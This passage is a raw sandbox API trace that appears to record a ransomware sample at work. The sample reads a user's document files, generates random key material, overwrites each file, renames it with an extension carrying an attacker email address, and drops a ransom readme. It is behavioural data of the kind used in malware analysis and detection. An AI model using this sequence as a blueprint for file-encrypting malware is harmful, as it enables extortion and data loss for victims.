Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0xc6a79c4c [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x8fbb1abb [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x1d185382 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x39ef25a4 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x3bd9a935 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x765fc5ea [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0xc0012d95 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x5c1c150c [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x1cb91740 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0xdbaa844b [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x3d74daf9 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0xc1ca355d [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x8e8b52c9 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0xdf9cdef9 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x464fea20 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x6b9963b9 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x1986e0a5 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0xc0d5b780 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x339ab9f [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0xf8aecd49 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x3eb81e83 [0071.760] RtlRandom (in: Seed=0x13fbfd48 | out: Seed=0x13fbfd48) returned 0x5974ffdb [0071.771] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.771] ReadFile (in: hFile=0x7b0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13fbfd14, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x13fbfd14*=0x4096, lpOverlapped=0x0) returned 1 [0071.771] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0071.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479c40 [0071.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423180 [0071.771] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423180) returned 1 [0071.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231d0 [0071.772] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423180 [0071.772] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423180) returned 1 [0071.772] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479c40) returned 1 [0071.772] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0071.772] WriteFile (in: hFile=0x7b0, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13fbfd14, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x13fbfd14*=0x4096, lpOverlapped=0x0) returned 1 [0071.772] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.772] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x14e53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.772] WriteFile (in: hFile=0x7b0, lpBuffer=0x34231d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13fbfd4c, lpOverlapped=0x0 | out: lpBuffer=0x34231d0*, lpNumberOfBytesWritten=0x13fbfd4c*=0x20, lpOverlapped=0x0) returned 1 [0071.772] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0071.772] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.772] WriteFile (in: hFile=0x7b0, lpBuffer=0x3423130*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13fbfd60, lpOverlapped=0x0 | out: lpBuffer=0x3423130*, lpNumberOfBytesWritten=0x13fbfd60*=0x8, lpOverlapped=0x0) returned 1 [0071.772] WriteFile (in: hFile=0x7b0, lpBuffer=0x13fbfd78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13fbfd60, lpOverlapped=0x0 | out: lpBuffer=0x13fbfd78*, lpNumberOfBytesWritten=0x13fbfd60*=0x4, lpOverlapped=0x0) returned 1 [0071.773] WriteFile (in: hFile=0x7b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13fbfd60, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x13fbfd60*=0x4, lpOverlapped=0x0) returned 1 [0071.773] WriteFile (in: hFile=0x7b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13fbfd60, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x13fbfd60*=0x6c, lpOverlapped=0x0) returned 1 [0071.773] WriteFile (in: hFile=0x7b0, lpBuffer=0x34231a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13fbfd60, lpOverlapped=0x0 | out: lpBuffer=0x34231a8*, lpNumberOfBytesWritten=0x13fbfd60*=0x20, lpOverlapped=0x0) returned 1 [0071.773] WriteFile (in: hFile=0x7b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13fbfd60, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x13fbfd60*=0x4, lpOverlapped=0x0) returned 1 [0071.773] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231a8) returned 1 [0071.773] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34230b8) returned 1 [0071.773] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423130) returned 1 [0071.773] CloseHandle (hObject=0x7b0) returned 1 [0071.773] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb6) returned 0x34bef18 [0071.773] wcscpy (in: _Dest=0x34bef18, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots" [0071.773] wcscat (in: _Dest=0x34bef18, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731" [0071.773] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\gfaakzlyyggyvx.ots"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\gfaakzlyyggyvx.ots.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.774] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.774] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bef18) returned 1 [0071.774] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\gfAAkZLyyggYVX.ots", dwFileAttributes=0x20) returned 0 [0071.774] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccd70 [0071.774] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0071.774] wcscat (in: _Dest=0x33ccd70, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt" [0071.774] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\d0e731-readme.txt")) returned 0xffffffff [0071.774] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b0 [0071.775] WriteFile (in: hFile=0x7b0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x13fbfd5c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x13fbfd5c*=0x481, lpOverlapped=0x0) returned 1 [0071.776] CloseHandle (hObject=0x7b0) returned 1 [0071.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0071.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd070) returned 1 [0071.776] RtlExitUserThread (Status=0x1) Thread: id = 485 os_tid = 0x10b0 [0071.777] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\hzuzzsnhyp.pps")) returned 0x20 [0071.777] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps", dwFileAttributes=0x20) returned 1 [0071.777] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\hzuzzsnhyp.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b0 [0071.777] GetFileSizeEx (in: hFile=0x7b0, lpFileSize=0x1403fd78 | out: lpFileSize=0x1403fd78*=12107) returned 1 [0071.777] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x2f47, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.777] ReadFile (in: hFile=0x7b0, lpBuffer=0x1403fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1403fd48, lpOverlapped=0x0 | out: lpBuffer=0x1403fd4c*, lpNumberOfBytesRead=0x1403fd48*=0x4, lpOverlapped=0x0) returned 1 [0071.778] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.778] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34230b8 [0071.778] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423130 [0071.778] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423180 [0071.778] NtQuerySystemTime (in: CurrentTime=0x1403fd24 | out: CurrentTime=0x1403fd24*=132121176296660440) returned 0x0 [0071.778] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x6de33c10 [0071.778] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0xd9352563 [0071.778] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x5e2b2638 [0071.778] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x92b0b3db [0071.778] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0xb14e91e [0071.778] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0xe3280124 [0071.778] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x62b135bc [0071.778] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0xe96bba8c [0071.778] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x3416bdc8 [0071.778] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x61b3dd78 [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0xf78a2181 [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0xcd03dd41 [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x5bc756a0 [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x1f88507a [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x2ce3ba2f [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x904b29da [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0xc6402190 [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0xfb9a7f58 [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0xef3c4fed [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x1bd2bceb [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0xbd5d598 [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x2aca4f4c [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x8638f1f9 [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0xa1058fcf [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0xb9860c92 [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0xf315857b [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x4546fd63 [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x7e5a552b [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x518c7f4 [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0xc39a2b81 [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x2e6b90de [0071.779] RtlRandom (in: Seed=0x1403fd30 | out: Seed=0x1403fd30) returned 0x3ffbafcb [0071.790] ReadFile (in: hFile=0x7b0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x2f4b, lpNumberOfBytesRead=0x1403fd24, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x1403fd24*=0x2f4b, lpOverlapped=0x0) returned 1 [0071.790] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1403fcec | out: lpNewFilePointer=0x0) returned 1 [0071.790] WriteFile (in: hFile=0x7b0, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x2f4b, lpNumberOfBytesWritten=0x1403fd20, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x1403fd20*=0x2f4b, lpOverlapped=0x0) returned 1 [0071.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34230b8 [0071.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.791] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.791] WriteFile (in: hFile=0x7b0, lpBuffer=0x34230b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1403fd1c, lpOverlapped=0x0 | out: lpBuffer=0x34230b8*, lpNumberOfBytesWritten=0x1403fd1c*=0x20, lpOverlapped=0x0) returned 1 [0071.791] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34230b8) returned 1 [0071.791] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.791] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.791] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.791] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.791] WriteFile (in: hFile=0x7b0, lpBuffer=0x34231d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1403fd48, lpOverlapped=0x0 | out: lpBuffer=0x34231d0*, lpNumberOfBytesWritten=0x1403fd48*=0x8, lpOverlapped=0x0) returned 1 [0071.791] WriteFile (in: hFile=0x7b0, lpBuffer=0x1403fd60*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1403fd48, lpOverlapped=0x0 | out: lpBuffer=0x1403fd60*, lpNumberOfBytesWritten=0x1403fd48*=0x4, lpOverlapped=0x0) returned 1 [0071.791] WriteFile (in: hFile=0x7b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1403fd48, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1403fd48*=0x4, lpOverlapped=0x0) returned 1 [0071.791] WriteFile (in: hFile=0x7b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1403fd48, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1403fd48*=0x6c, lpOverlapped=0x0) returned 1 [0071.791] WriteFile (in: hFile=0x7b0, lpBuffer=0x3423130*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1403fd48, lpOverlapped=0x0 | out: lpBuffer=0x3423130*, lpNumberOfBytesWritten=0x1403fd48*=0x20, lpOverlapped=0x0) returned 1 [0071.792] WriteFile (in: hFile=0x7b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1403fd48, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1403fd48*=0x4, lpOverlapped=0x0) returned 1 [0071.792] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423130) returned 1 [0071.792] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231a8) returned 1 [0071.792] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0071.792] CloseHandle (hObject=0x7b0) returned 1 [0071.792] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xae) returned 0x33e3538 [0071.792] wcscpy (in: _Dest=0x33e3538, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps" [0071.792] wcscat (in: _Dest=0x33e3538, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731" [0071.792] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\hzuzzsnhyp.pps"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\hzuzzsnhyp.pps.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.793] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e3538) returned 1 [0071.793] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\HzuzzSnhYp.pps", dwFileAttributes=0x20) returned 0 [0071.793] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccff0 [0071.793] wcscpy (in: _Dest=0x33ccff0, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\" [0071.793] wcscat (in: _Dest=0x33ccff0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt" [0071.793] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\d0e731-readme.txt")) returned 0x20 [0071.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccff0) returned 1 [0071.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0071.793] RtlExitUserThread (Status=0x1) Thread: id = 486 os_tid = 0x10b4 [0071.794] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\qsq6d.docx")) returned 0x20 [0071.795] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx", dwFileAttributes=0x20) returned 1 [0071.795] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\qSq6d.docx" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\qsq6d.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b0 [0071.795] GetFileSizeEx (in: hFile=0x7b0, lpFileSize=0x140bfadc | out: lpFileSize=0x140bfadc*=85581) returned 1 [0071.795] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x14e49, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.795] ReadFile (in: hFile=0x7b0, lpBuffer=0x140bfab0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x140bfaac, lpOverlapped=0x0 | out: lpBuffer=0x140bfab0*, lpNumberOfBytesRead=0x140bfaac*=0x4, lpOverlapped=0x0) returned 1 [0071.796] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.796] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34230b8 [0071.796] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423130 [0071.796] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231a8 [0071.796] NtQuerySystemTime (in: CurrentTime=0x140bfa88 | out: CurrentTime=0x140bfa88*=132121176296816586) returned 0x0 [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x48f22468 [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x28159082 [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0xcc1e0aea [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x89dbd13e [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x1f810108 [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x63589a4f [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x75fa272f [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0xbca8f7fb [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0xc1132e8e [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0xad1c127a [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x30d20478 [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0xe81fede7 [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0xaf4a7899 [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x9f994ca6 [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0xae279090 [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x922073b4 [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x5c5d43b3 [0071.796] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0xe1905bfc [0071.797] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x1e9a3c13 [0071.797] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0xb2480305 [0071.797] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x2e8b7b54 [0071.797] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0xe6934c18 [0071.797] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0xcc4c27ed [0071.797] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x9418ee4 [0071.797] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x128f23bd [0071.797] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x657fc4d8 [0071.797] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x9e8de202 [0071.797] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0xfdfc311d [0071.797] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0xa481ef61 [0071.797] RtlRandom (in: Seed=0x140bfa94 | out: Seed=0x140bfa94) returned 0x65f5d85f [0071.797] RtlRandom 